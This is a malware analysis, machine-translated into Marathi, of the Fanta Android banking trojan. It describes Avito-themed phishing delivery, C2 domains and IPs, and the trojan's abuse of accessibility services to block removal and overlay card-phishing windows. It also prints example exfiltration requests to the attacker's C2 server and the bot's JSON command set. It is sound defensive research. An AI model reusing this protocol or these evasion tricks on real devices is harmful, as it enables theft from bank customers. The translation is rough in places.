Leysya, Fanta: जुन्या Android ट्रोजनसाठी एक नवीन युक्ती

एके दिवशी तुम्हाला Avito वर काहीतरी विकायचे आहे आणि तुमच्या उत्पादनाचे तपशीलवार वर्णन पोस्ट केल्यावर (उदाहरणार्थ, RAM मॉड्यूल), तुम्हाला हा संदेश प्राप्त होईल:

एकदा तुम्ही लिंक उघडल्यानंतर, तुम्हाला, आनंदी आणि यशस्वी विक्रेत्याला, खरेदी केल्याचे सूचित करणारे एक निरुपद्रवी पृष्ठ दिसेल:

एकदा तुम्ही “सुरू ठेवा” बटणावर क्लिक केल्यानंतर, तुमच्या Android डिव्हाइसवर आयकॉन आणि विश्वास-प्रेरणादायक नाव असलेली APK फाइल डाउनलोड केली जाईल. तुम्ही असा अॅप्लिकेशन इन्स्टॉल केला आहे ज्याने काही कारणास्तव AccessibilityService अधिकारांची विनंती केली होती, त्यानंतर काही विंडो दिसल्या आणि पटकन गायब झाल्या आणि... बस्स.

तुम्ही तुमची शिल्लक तपासण्यासाठी जाता, परंतु काही कारणास्तव तुमचे बँकिंग अॅप तुमच्या कार्डचे तपशील पुन्हा विचारते. डेटा प्रविष्ट केल्यानंतर, काहीतरी भयानक घडते: काही कारणास्तव अद्याप आपल्यासाठी अस्पष्ट, आपल्या खात्यातून पैसे गायब होऊ लागतात. तुम्ही समस्येचे निराकरण करण्याचा प्रयत्न करत आहात, परंतु तुमचा फोन प्रतिकार करतो: तो "मागे" आणि "होम" की दाबतो, बंद होत नाही आणि तुम्हाला कोणतेही सुरक्षा उपाय सक्रिय करण्याची परवानगी देत ​​​​नाही. परिणामी, तुम्हाला पैशांशिवाय सोडले गेले आहे, तुमची वस्तू खरेदी केली गेली नाही, तुम्ही गोंधळलेले आहात आणि आश्चर्यचकित आहात: काय झाले?

उत्तर सोपे आहे: तुम्ही फ्लेक्सनेट कुटुंबातील सदस्य असलेल्या Android ट्रोजन फॅंटाचे बळी झाला आहात. हे कसे घडले? आता स्पष्ट करूया.

लेखक: आंद्रे पोलोविन्किन, मालवेअर विश्लेषणातील कनिष्ठ तज्ञ, इव्हान पिसारेव, मालवेअर विश्लेषणातील तज्ञ.

काही आकडेवारी

Android Trojans चे Flexnet कुटुंब 2015 मध्ये पहिल्यांदा ओळखले गेले. क्रियाकलापांच्या बर्‍याच दीर्घ कालावधीत, कुटुंबाचा विस्तार अनेक उपप्रजातींमध्ये झाला: फॅन्टा, लाईमबॉट, लिप्टन इ. ट्रोजन, तसेच त्याच्याशी संबंधित पायाभूत सुविधा, स्थिर राहू नका: नवीन प्रभावी वितरण योजना विकसित केल्या जात आहेत - आमच्या बाबतीत, विशिष्ट वापरकर्ता-विक्रेत्याच्या उद्देशाने उच्च-गुणवत्तेची फिशिंग पृष्ठे आणि ट्रोजन विकसक फॅशनेबल ट्रेंडचे अनुसरण करतात. व्हायरस लेखन - नवीन कार्यक्षमता जोडणे ज्यामुळे संक्रमित उपकरण आणि बायपास संरक्षण यंत्रणांमधून अधिक कार्यक्षमतेने पैसे चोरणे शक्य होते.

या लेखात वर्णन केलेल्या मोहिमेचा उद्देश रशियामधील वापरकर्त्यांसाठी आहे; युक्रेनमध्ये कमी संख्येने संक्रमित उपकरणे नोंदवली गेली आणि कझाकस्तान आणि बेलारूसमध्ये अगदी कमी.

जरी Flexnet Android ट्रोजन क्षेत्रामध्ये 4 वर्षांहून अधिक काळ आहे आणि अनेक संशोधकांनी त्याचा तपशीलवार अभ्यास केला आहे, तरीही ते अजूनही चांगल्या स्थितीत आहे. जानेवारी 2019 पासून, नुकसानीची संभाव्य रक्कम 35 दशलक्ष रूबलपेक्षा जास्त आहे - आणि हे केवळ रशियामधील मोहिमांसाठी आहे. 2015 मध्ये, या Android ट्रोजनच्या विविध आवृत्त्या भूमिगत मंचांवर विकल्या गेल्या, जेथे तपशीलवार वर्णनासह ट्रोजनचा स्त्रोत कोड देखील आढळू शकतो. याचा अर्थ जगातील नुकसानीची आकडेवारी आणखीनच प्रभावी आहे. अशा वृद्ध माणसासाठी वाईट सूचक नाही, नाही का?

विक्रीपासून फसवणुकीपर्यंत

अविटो जाहिराती पोस्ट करण्यासाठी इंटरनेट सेवेसाठी फिशिंग पृष्ठाच्या पूर्वी सादर केलेल्या स्क्रीनशॉटवरून पाहिले जाऊ शकते, ते एका विशिष्ट बळीसाठी तयार केले गेले होते. वरवर पाहता, हल्लेखोर एविटोच्या पार्सरपैकी एक वापरतात, जे विक्रेत्याचा फोन नंबर आणि नाव तसेच उत्पादनाचे वर्णन काढतात. पृष्ठ विस्तारित केल्यानंतर आणि एपीके फाइल तयार केल्यानंतर, पीडित व्यक्तीला त्याच्या नावासह एक एसएमएस पाठविला जातो आणि त्याच्या उत्पादनाचे वर्णन आणि उत्पादनाच्या "विक्री" मधून मिळालेल्या रकमेसह फिशिंग पृष्ठाची लिंक दिली जाते. बटणावर क्लिक करून, वापरकर्त्यास एक दुर्भावनापूर्ण APK फाइल प्राप्त होते - Fanta.

shcet491[.]ru डोमेनच्या अभ्यासात असे दिसून आले आहे की ते Hostinger च्या DNS सर्व्हरला दिलेले आहे:

• ns1.hostinger.ru
• ns2.hostinger.ru
• ns3.hostinger.ru
• ns4.hostinger.ru

डोमेन झोन फाइलमध्ये 31.220.23[.]236, 31.220.23[.]243, आणि 31.220.23[.]235 कडे निर्देश करणाऱ्या नोंदी आहेत. तथापि, डोमेनचे प्राथमिक संसाधन रेकॉर्ड (A रेकॉर्ड) IP पत्ता 178.132.1[.]240 असलेल्या सर्व्हरकडे निर्देश करते.

IP पत्ता 178.132.1[.]240 नेदरलँडमध्ये आहे आणि होस्टचा आहे वर्ल्डस्ट्रीम. IP पत्ते 31.220.23[.]235, 31.220.23[.]236 आणि 31.220.23[.]243 यूकेमध्ये आहेत आणि ते शेअर्ड होस्टिंग सर्व्हर HOSTINGER चे आहेत. रेकॉर्डर म्हणून वापरले जाते openprov-ru. खालील डोमेन्सने 178.132.1[.]240 च्या IP पत्त्यावर देखील निराकरण केले:

• sdelka-ru[.]ru
• tovar-av[.]ru
• av-tovar[.]ru
• ru-sdelka[.]ru
• shcet382[.]ru
• sdelka221[.]ru
• sdelka211[.]ru
• vyplata437[.]ru
• viplata291[.]ru
• perevod273[.]ru
• perevod901[.]ru

हे लक्षात घ्यावे की खालील स्वरूपातील दुवे जवळजवळ सर्व डोमेनवरून उपलब्ध होते:

http://(www.){0,1}<%domain%>/[0-9]{7}

या टेम्प्लेटमध्ये SMS संदेशातील दुवा देखील समाविष्ट आहे. ऐतिहासिक डेटावर आधारित, असे आढळून आले की एक डोमेन वर वर्णन केलेल्या पॅटर्नमधील अनेक लिंक्सशी संबंधित आहे, जे सूचित करते की एका डोमेनचा वापर अनेक पीडितांना ट्रोजन वितरित करण्यासाठी केला गेला होता.

चला थोडं पुढे जाऊया: SMS वरून डाउनलोड केलेले ट्रोजन पत्ता कंट्रोल सर्व्हर म्हणून वापरतो onusedseddohap[.]क्लब. हे डोमेन 2019-03-12 रोजी नोंदणीकृत झाले आणि 2019-04-29 पासून, APK अनुप्रयोगांनी या डोमेनशी संवाद साधला. VirusTotal कडून मिळालेल्या डेटाच्या आधारे, एकूण 109 अनुप्रयोगांनी या सर्व्हरशी संवाद साधला. डोमेनने स्वतः IP पत्त्यावर निराकरण केले ८८.९९.१७१[.]१०५, नेदरलँड्समध्ये स्थित आणि होस्टच्या मालकीचे वर्ल्डस्ट्रीम. रेकॉर्डर म्हणून वापरले जाते नेमकेप. डोमेन देखील या IP पत्त्यावर निराकरण करतात बॅड-रेकून[.]क्लब (2018-09-25 पासून सुरू होत आहे) आणि बॅड-रेकून[.]लाइव्ह (2018-10-25 पासून सुरू होत आहे). डोमेनसह बॅड-रेकून[.]क्लब 80 पेक्षा जास्त APK फायलींनी संवाद साधला बॅड-रेकून[.]लाइव्ह - 100 पेक्षा जास्त.

सर्वसाधारणपणे, हल्ला खालीलप्रमाणे होतो:

फॅंटाच्या झाकणाखाली काय आहे?

इतर अनेक अँड्रॉइड ट्रोजन्सप्रमाणे, फॅन्टा एसएमएस संदेश वाचण्यास आणि पाठविण्यास, USSD विनंत्या करण्यास आणि ऍप्लिकेशन्सच्या शीर्षस्थानी स्वतःच्या विंडो प्रदर्शित करण्यास सक्षम आहे (बँकिंगसह). तथापि, या कुटुंबाच्या कार्यक्षमतेचे शस्त्रागार आले आहे: फॅन्टा वापरण्यास सुरुवात केली प्रवेशयोग्यता सेवा विविध उद्देशांसाठी: इतर अनुप्रयोगांवरील सूचनांची सामग्री वाचणे, शोधणे प्रतिबंधित करणे आणि संक्रमित डिव्हाइसवर ट्रोजनची अंमलबजावणी थांबवणे इ. Fanta Android च्या ४.४ पेक्षा लहान नसलेल्या सर्व आवृत्त्यांवर कार्य करते. या लेखात आम्ही खालील फॅन्टा नमुना जवळून पाहू:

• MD5: 0826bd11b2c130c4c8ac137e395ac2d4
• SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
• SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

प्रक्षेपणानंतर लगेचच

लॉन्च झाल्यानंतर लगेच, ट्रोजन त्याचे चिन्ह लपवते. जर संक्रमित उपकरणाचे नाव यादीत नसेल तरच अनुप्रयोग कार्य करू शकतो:

• android_x86
• वर्च्युअलबॉक्स
• Nexus 5X(बुलहेड)
• Nexus 5(रेझर)

ही तपासणी ट्रोजनच्या मुख्य सेवेमध्ये केली जाते - मुख्य सेवा. प्रथमच लाँच केल्यावर, ऍप्लिकेशनचे कॉन्फिगरेशन पॅरामीटर्स डीफॉल्ट व्हॅल्यूजमध्ये सुरू केले जातात (कॉन्फिगरेशन डेटा संचयित करण्यासाठीचे स्वरूप आणि त्यांच्या अर्थाची नंतर चर्चा केली जाईल), आणि नियंत्रण सर्व्हरवर नवीन संक्रमित डिव्हाइसची नोंदणी केली जाते. संदेश प्रकारासह HTTP POST विनंती सर्व्हरला पाठविली जाईल register_bot आणि संक्रमित डिव्हाइसबद्दल माहिती (Android आवृत्ती, IMEI, फोन नंबर, ऑपरेटरचे नाव आणि देश कोड ज्यामध्ये ऑपरेटर नोंदणीकृत आहे). पत्ता कंट्रोल सर्व्हर म्हणून काम करतो hXXp://onuseseddohap[.]club/controller.php. प्रतिसादात, सर्व्हर फील्ड असलेला संदेश पाठवतो bot_id, bot_pwd, सर्व्हर - अनुप्रयोग ही मूल्ये CnC सर्व्हरचे पॅरामीटर्स म्हणून जतन करतो. पॅरामीटर सर्व्हर फील्ड प्राप्त न झाल्यास पर्यायी: फॅन्टा नोंदणी पत्ता वापरते - hXXp://onuseseddohap[.]club/controller.php. CnC पत्ता बदलण्याचे कार्य दोन समस्यांचे निराकरण करण्यासाठी वापरले जाऊ शकते: अनेक सर्व्हर दरम्यान लोड समान रीतीने वितरित करण्यासाठी (जर मोठ्या संख्येने संक्रमित उपकरणे असतील तर, ऑप्टिमाइझ न केलेल्या वेब सर्व्हरवरील भार जास्त असू शकतो), आणि वापरण्यासाठी देखील. CnC सर्व्हरपैकी एक अयशस्वी झाल्यास पर्यायी सर्व्हर.

विनंती पाठवताना त्रुटी आढळल्यास, ट्रोजन 20 सेकंदांनंतर नोंदणी प्रक्रियेची पुनरावृत्ती करेल.

एकदा डिव्हाइस यशस्वीरित्या नोंदणीकृत झाल्यानंतर, Fanta वापरकर्त्यास खालील संदेश प्रदर्शित करेल:

महत्वाची टीप: कॉल केलेली सेवा सिस्टम सुरक्षा — ट्रोजन सेवेचे नाव आणि बटण क्लिक केल्यानंतर ओके संक्रमित डिव्हाइसच्या प्रवेशयोग्यता सेटिंग्जसह एक विंडो उघडेल, जिथे वापरकर्त्याने दुर्भावनापूर्ण सेवेसाठी प्रवेशयोग्यता अधिकार मंजूर करणे आवश्यक आहे:

वापरकर्ता चालू होताच प्रवेशयोग्यता सेवा, Fanta ऍप्लिकेशन विंडोच्या सामग्रीमध्ये प्रवेश मिळवते आणि त्यामध्ये केलेल्या क्रिया:

प्रवेशयोग्यता अधिकार प्राप्त केल्यानंतर लगेच, ट्रोजन प्रशासक अधिकार आणि अधिसूचना वाचण्याच्या अधिकारांची विनंती करतो:

अॅक्सेसिबिलिटी सर्व्हिसचा वापर करून, अॅप्लिकेशन कीस्ट्रोकचे अनुकरण करते, ज्यामुळे स्वतःला सर्व आवश्यक अधिकार मिळतात.

फॅन्टा कॉन्फिगरेशन डेटा, तसेच संक्रमित उपकरणाविषयी प्रक्रियेत गोळा केलेली माहिती संग्रहित करण्यासाठी आवश्यक अनेक डेटाबेस उदाहरणे (ज्याचे वर्णन नंतर केले जाईल) तयार करते. गोळा केलेली माहिती पाठवण्यासाठी, ट्रोजन डेटाबेसमधून फील्ड डाउनलोड करण्यासाठी आणि कंट्रोल सर्व्हरकडून कमांड प्राप्त करण्यासाठी डिझाइन केलेले पुनरावृत्ती कार्य तयार करते. CnC ऍक्सेस करण्यासाठी मध्यांतर Android आवृत्तीवर अवलंबून सेट केले आहे: 5.1 च्या बाबतीत, मध्यांतर 10 सेकंद असेल, अन्यथा 60 सेकंद.

आदेश प्राप्त करण्यासाठी, फॅन्टा विनंती करतो GetTask व्यवस्थापन सर्व्हरवर. प्रतिसादात, CnC खालीलपैकी एक कमांड पाठवू शकते:

संघ	वर्णन
0	एसएमएस संदेश पाठवा
1	फोन कॉल किंवा यूएसएसडी कमांड करा
2	पॅरामीटर अपडेट करते मध्यांतर
3	पॅरामीटर अपडेट करते व्यत्यय
6	पॅरामीटर अपडेट करते एसएमएस व्यवस्थापक
9	SMS संदेश गोळा करणे सुरू करा
11	तुमचा फोन फॅक्टरी सेटिंग्जवर रीसेट करा
12	डायलॉग बॉक्स निर्मितीचे लॉगिंग सक्षम/अक्षम करा

Fanta 70 बँकिंग अॅप्स, जलद पेमेंट सिस्टम आणि ई-वॉलेट्स वरून सूचना देखील गोळा करते आणि डेटाबेसमध्ये संग्रहित करते.

कॉन्फिगरेशन पॅरामीटर्स संचयित करणे

कॉन्फिगरेशन पॅरामीटर्स संचयित करण्यासाठी, Fanta Android प्लॅटफॉर्मसाठी एक मानक दृष्टिकोन वापरते - प्राधान्ये-फाईल्स. सेटिंग्ज नावाच्या फाइलमध्ये सेव्ह केल्या जातील सेटिंग. जतन केलेल्या पॅरामीटर्सचे वर्णन खालील तक्त्यामध्ये आहे.

नाव	डीफॉल्ट मूल्य	संभाव्य मूल्ये	वर्णन
id	0	पूर्णांक	बॉट आयडी
सर्व्हर	hXXp://onuseseddohap[.]club/	URL	सर्व्हर पत्ता नियंत्रित करा
पीडब्ल्यूडी	-	अक्षरमाळा	सर्व्हर पासवर्ड
मध्यांतर	20	पूर्णांक	वेळ मध्यांतर. खालील कार्ये किती काळ पुढे ढकलली जावी हे दर्शवते: पाठवलेल्या SMS संदेशाच्या स्थितीबद्दल विनंती पाठवताना व्यवस्थापन सर्व्हरकडून नवीन आदेश प्राप्त करत आहे
व्यत्यय	सर्व	सर्व/टेल नंबर	फील्ड स्ट्रिंगच्या समान असल्यास सर्व किंवा telNumber, नंतर प्राप्त एसएमएस संदेश अनुप्रयोगाद्वारे व्यत्यय आणला जाईल आणि वापरकर्त्यास दर्शविला जाणार नाही
एसएमएस व्यवस्थापक	0	0/1	डीफॉल्ट SMS प्राप्तकर्ता म्हणून अनुप्रयोग सक्षम/अक्षम करा
वाचा संवाद	खोटे	खरे खोटे	इव्हेंट लॉगिंग सक्षम/अक्षम करा प्रवेशयोग्यता इव्हेंट

Fanta देखील फाइल वापरते एसएमएस व्यवस्थापक:

नाव	डीफॉल्ट मूल्य	संभाव्य मूल्ये	वर्णन
pckg	-	अक्षरमाळा	एसएमएस संदेश व्यवस्थापकाचे नाव वापरले

डेटाबेससह परस्परसंवाद

त्याच्या ऑपरेशन दरम्यान, ट्रोजन दोन डेटाबेस वापरते. डेटाबेस नावाचा a फोनवरून गोळा केलेली विविध माहिती साठवण्यासाठी वापरली जाते. दुसऱ्या डेटाबेसला नाव दिले आहे fanta.db आणि बँक कार्डांबद्दल माहिती गोळा करण्यासाठी डिझाइन केलेल्या फिशिंग विंडो तयार करण्यासाठी जबाबदार सेटिंग्ज जतन करण्यासाठी वापरला जातो.

ट्रोजन डेटाबेस वापरतो а गोळा केलेली माहिती संग्रहित करण्यासाठी आणि आपल्या कृती लॉग करण्यासाठी. डेटा टेबलमध्ये संग्रहित केला जातो नोंदी. टेबल तयार करण्यासाठी, खालील SQL क्वेरी वापरा:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

डेटाबेसमध्ये खालील माहिती आहे:

1. संदेशासह संक्रमित डिव्हाइसचे स्टार्टअप लॉग करणे फोन चालू झाला!

2. अनुप्रयोगांकडून सूचना. संदेश खालील टेम्पलेटनुसार व्युत्पन्न केला जातो:

(<%App Name%>)<%Title%>: <%Notification text%>

3. ट्रोजनने तयार केलेल्या फिशिंग फॉर्ममधील बँक कार्ड डेटा. पॅरामीटर VIEW_NAME खालीलपैकी एक असू शकते:

• AliExpress
• एविटो
• गुगल प्ले
• विविध

संदेश फॉरमॅटमध्ये लॉग इन केला आहे:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. इनकमिंग/आउटगोइंग एसएमएस संदेश फॉरमॅटमध्ये:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. फॉरमॅटमध्ये डायलॉग बॉक्स तयार करणाऱ्या पॅकेजबद्दल माहिती:

(<%Package name%>)<%Package information%>

उदाहरण सारणी नोंदी:

फॅंटाच्या कार्यक्षमतेपैकी एक म्हणजे बँक कार्डांबद्दल माहिती गोळा करणे. बँकिंग ऍप्लिकेशन्स उघडताना फिशिंग विंडोच्या निर्मितीद्वारे डेटा संकलन होते. ट्रोजन फक्त एकदाच फिशिंग विंडो तयार करतो. वापरकर्त्याला विंडो दर्शविलेली माहिती टेबलमध्ये संग्रहित केली जाते सेटिंग डेटाबेस मध्ये fanta.db. डेटाबेस तयार करण्यासाठी, खालील SQL क्वेरी वापरा:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

सर्व टेबल फील्ड सेटिंग डीफॉल्टनुसार 1 वर आरंभ केला (फिशिंग विंडो तयार करा). वापरकर्त्याने त्यांचा डेटा एंटर केल्यानंतर, मूल्य 0 वर सेट केले जाईल. टेबल फील्डचे उदाहरण सेटिंग:

• कॅन_लॉगिन - बँकिंग अर्ज उघडताना फॉर्म प्रदर्शित करण्यासाठी फील्ड जबाबदार आहे
• पहिली_बँक - न वापरलेले
• can_avito — Avito अनुप्रयोग उघडताना फॉर्म प्रदर्शित करण्यासाठी फील्ड जबाबदार आहे
• can_ali — Aliexpress अनुप्रयोग उघडताना फॉर्म प्रदर्शित करण्यासाठी फील्ड जबाबदार आहे
• can_ather — सूचीमधून कोणताही अर्ज उघडताना फॉर्म प्रदर्शित करण्यासाठी फील्ड जबाबदार आहे: युला, पांडाओ, ड्रॉम ऑटो, वॉलेट. सवलत आणि बोनस कार्ड, Aviasales, बुकिंग, Trivago
• can_card — फील्ड उघडताना फॉर्म प्रदर्शित करण्यासाठी जबाबदार आहे गुगल प्ले

व्यवस्थापन सर्व्हरसह परस्परसंवाद

व्यवस्थापन सर्व्हरसह नेटवर्क संवाद HTTP प्रोटोकॉलद्वारे होतो. नेटवर्कसह कार्य करण्यासाठी, फॅन्टा लोकप्रिय रेट्रोफिट लायब्ररी वापरते. विनंत्या पाठवल्या जातात: hXXp://onuseseddohap[.]club/controller.php. सर्व्हरवर नोंदणी करताना सर्व्हरचा पत्ता बदलला जाऊ शकतो. कुकीज सर्व्हरकडून प्रतिसादात पाठवल्या जाऊ शकतात. फॅन्टा सर्व्हरला खालील विनंत्या करते:

• नियंत्रण सर्व्हरवर बॉटची नोंदणी एकदाच होते, प्रथम लॉन्च झाल्यावर. संक्रमित डिव्हाइसबद्दल खालील डेटा सर्व्हरवर पाठविला जातो:
  · कुकी — सर्व्हरकडून प्राप्त झालेल्या कुकीज (डीफॉल्ट मूल्य ही रिक्त स्ट्रिंग आहे)
  · मोड — स्ट्रिंग स्थिरांक register_bot
  · उपसर्ग — पूर्णांक स्थिरांक 2
  · आवृत्ती_sdk - खालील टेम्पलेटनुसार तयार केले आहे: /(Avit)
  · IMEI - संक्रमित उपकरणाचा IMEI
  · देशातील — आयएसओ फॉरमॅटमध्ये ऑपरेटरची नोंदणी असलेल्या देशाचा कोड
  · संख्या - फोन नंबर
  · ऑपरेटर - ऑपरेटरचे नाव

  सर्व्हरला पाठवलेल्या विनंतीचे उदाहरण:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 144
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
  

  विनंतीला प्रतिसाद म्हणून, सर्व्हरने खालील पॅरामीटर्स असलेली JSON ऑब्जेक्ट परत करणे आवश्यक आहे:
  · बॉट_आयडी - संक्रमित उपकरणाचा आयडी. जर bot_id 0 च्या समान असेल, तर Fanta विनंती पुन्हा कार्यान्वित करेल.
  bot_pwd - सर्व्हरसाठी पासवर्ड.
  सर्व्हर - सर्व्हर पत्ता नियंत्रित करा. पर्यायी पॅरामीटर. पॅरामीटर निर्दिष्ट न केल्यास, अनुप्रयोगात जतन केलेला पत्ता वापरला जाईल.

  उदाहरण JSON ऑब्जेक्ट:

  {
      "response":[
     	 {
     		 "bot_id": <%BOT_ID%>,
     		 "bot_pwd": <%BOT_PWD%>,
     		 "server": <%SERVER%>
     	 }
      ],
      "status":"ok"
  }

• सर्व्हरकडून आदेश प्राप्त करण्याची विनंती. खालील डेटा सर्व्हरवर पाठविला जातो:
  · कुकी - सर्व्हरकडून प्राप्त झालेल्या कुकीज
  · बोली - विनंती पाठवताना प्राप्त झालेल्या संक्रमित उपकरणाचा आयडी register_bot
  · पीडब्ल्यूडी - सर्व्हरसाठी पासवर्ड
  · divice_admin — प्रशासक अधिकार प्राप्त झाले आहेत की नाही हे फील्ड निर्धारित करते. प्रशासक अधिकार प्राप्त झाले असल्यास, फील्ड समान आहे 1, अन्यथा 0
  · प्रवेश — प्रवेशयोग्यता सेवा ऑपरेशन स्थिती. सेवा सुरू केली असल्यास, मूल्य आहे 1, अन्यथा 0
  · एसएमएस व्यवस्थापक — एसएमएस प्राप्त करण्यासाठी डीफॉल्ट अनुप्रयोग म्हणून ट्रोजन सक्षम आहे की नाही हे दर्शविते
  · स्क्रीन - स्क्रीन कोणत्या स्थितीत आहे ते दाखवते. मूल्य सेट केले जाईल 1, स्क्रीन चालू असल्यास, अन्यथा 0;

  सर्व्हरला पाठवलेल्या विनंतीचे उदाहरण:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

  आदेशावर अवलंबून, सर्व्हर भिन्न पॅरामीटर्ससह JSON ऑब्जेक्ट परत करू शकतो:

  · संघ एसएमएस संदेश पाठवा: पॅरामीटर्समध्ये फोन नंबर, एसएमएस संदेशाचा मजकूर आणि पाठवल्या जाणार्‍या संदेशाचा आयडी असतो. प्रकारासह सर्व्हरला संदेश पाठवताना अभिज्ञापक वापरला जातो setSmsStatus.

  {
      "response":
      [
     	 {
     		 "mode": 0,
     		 "sms_number": <%SMS_NUMBER%>,
     		 "sms_text": <%SMS_TEXT%>,
     		 "sms_id": %SMS_ID%
     	 }
      ],
      "status":"ok"
  }

  · संघ फोन कॉल किंवा यूएसएसडी कमांड करा: फोन नंबर किंवा आदेश प्रतिसादाच्या मुख्य भागामध्ये येतो.

  {
      "response":
      [
     	 {
     		 "mode": 1,
     		 "command": <%TEL_NUMBER%>
     	 }
      ],
      "status":"ok"
  }

  · संघ अंतराल पॅरामीटर बदला.

  {
      "response":
      [
     	 {
     		 "mode": 2,
     		 "interval": <%SECONDS%>
     	 }
      ],
      "status":"ok"
  }

  · संघ इंटरसेप्ट पॅरामीटर बदला.

  {
      "response":
      [
     	 {
     		 "mode": 3,
     		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
     	 }
      ],
      "status":"ok"
  }

  · संघ SmsManager फील्ड बदला.

  {
      "response":
      [
     	 {
     		 "mode": 6,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

  · संघ संक्रमित डिव्हाइसवरून एसएमएस संदेश गोळा करा.

  {
      "response":
      [
     	 {
     		 "mode": 9
     	 }
      ],
      "status":"ok"
  }

  · संघ तुमचा फोन फॅक्टरी सेटिंग्जवर रीसेट करा:

  {
      "response":
      [
     	 {
     		 "mode": 11
     	 }
      ],
      "status":"ok"
  }

  · संघ ReadDialog पॅरामीटर बदला.

  {
      "response":
      [
     	 {
     		 "mode": 12,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

• प्रकारासह संदेश पाठवत आहे setSmsStatus. कमांड कार्यान्वित झाल्यानंतर ही विनंती केली जाते एसएमएस संदेश पाठवा. विनंती असे दिसते:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

• डेटाबेस सामग्री अपलोड करत आहे. प्रति विनंती एक पंक्ती प्रसारित केली जाते. खालील डेटा सर्व्हरवर पाठविला जातो:
  · कुकी - सर्व्हरकडून प्राप्त झालेल्या कुकीज
  · मोड — स्ट्रिंग स्थिरांक setSaveInboxSms
  · बोली - विनंती पाठवताना प्राप्त झालेल्या संक्रमित उपकरणाचा आयडी register_bot
  · मजकूर - वर्तमान डेटाबेस रेकॉर्डमधील मजकूर (फील्ड d टेबल पासून नोंदी डेटाबेस मध्ये а)
  · संख्या - वर्तमान डेटाबेस रेकॉर्डचे नाव (फील्ड p टेबल पासून नोंदी डेटाबेस मध्ये а)
  · sms_mode — पूर्णांक मूल्य (फील्ड m टेबल पासून नोंदी डेटाबेस मध्ये а)

  विनंती असे दिसते:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

  सर्व्हरवर यशस्वीरित्या पाठविल्यास, पंक्ती सारणीमधून हटविली जाईल. सर्व्हरद्वारे परत केलेल्या JSON ऑब्जेक्टचे उदाहरण:

  {
      "response":[],
      "status":"ok"
  }

AccessibilityService शी संवाद साधत आहे

अपंग लोकांसाठी अँड्रॉइड डिव्‍हाइस वापरण्‍यासाठी सुलभता सेवा लागू केली गेली. बहुतेक प्रकरणांमध्ये, अनुप्रयोगाशी संवाद साधण्यासाठी शारीरिक संवाद आवश्यक असतो. AccessibilityService तुम्हाला ते प्रोग्रॅमॅटिक पद्धतीने करू देते. बँकिंग ऍप्लिकेशन्समध्ये बनावट विंडो तयार करण्यासाठी आणि वापरकर्त्यांना सिस्टम सेटिंग्ज आणि काही ऍप्लिकेशन्स उघडण्यापासून रोखण्यासाठी Fanta ही सेवा वापरते.

AccessibilityService च्या कार्यक्षमतेचा वापर करून, ट्रोजन संक्रमित उपकरणाच्या स्क्रीनवरील घटकांमधील बदलांचे निरीक्षण करते. आधी वर्णन केल्याप्रमाणे, फॅन्टा सेटिंग्जमध्ये डायलॉग बॉक्ससह लॉगिंग ऑपरेशन्ससाठी जबाबदार एक पॅरामीटर असतो - वाचा संवाद. हे पॅरामीटर सेट केले असल्यास, इव्हेंट ट्रिगर करणाऱ्या पॅकेजचे नाव आणि वर्णन याविषयी माहिती डेटाबेसमध्ये जोडली जाईल. जेव्हा इव्हेंट ट्रिगर होतात तेव्हा ट्रोजन खालील क्रिया करतो:

• खालील प्रकरणांमध्ये बॅक आणि होम की दाबण्याचे अनुकरण करते:
  · वापरकर्त्याला त्याचे डिव्हाइस रीबूट करायचे असल्यास
  · जर वापरकर्त्याला "Avito" अनुप्रयोग हटवायचा असेल किंवा प्रवेश अधिकार बदलायचा असेल
  · पृष्ठावर “Avito” अनुप्रयोगाचा उल्लेख असल्यास
  · Google Play Protect ऍप्लिकेशन उघडताना
  · AccessibilityService सेटिंग्जसह पृष्ठे उघडताना
  · जेव्हा सिस्टम सिक्युरिटी डायलॉग बॉक्स दिसेल
  · "इतर अॅपवर काढा" सेटिंग्जसह पृष्ठ उघडताना
  · “अनुप्रयोग” पृष्ठ उघडताना, “पुनर्प्राप्ती आणि रीसेट”, “डेटा रीसेट”, “रीसेट सेटिंग्ज”, “विकसक पॅनेल”, “विशेष. संधी", "विशेष संधी", "विशेष अधिकार"
  · कार्यक्रम काही विशिष्ट अनुप्रयोगांद्वारे व्युत्पन्न केला असल्यास.

  अर्जांची यादी

  • Android
  • मास्टर लाइट
  • क्लीन मास्टर
  • x86 CPU साठी क्लीन मास्टर
  • Meizu अर्ज परवानगी व्यवस्थापन
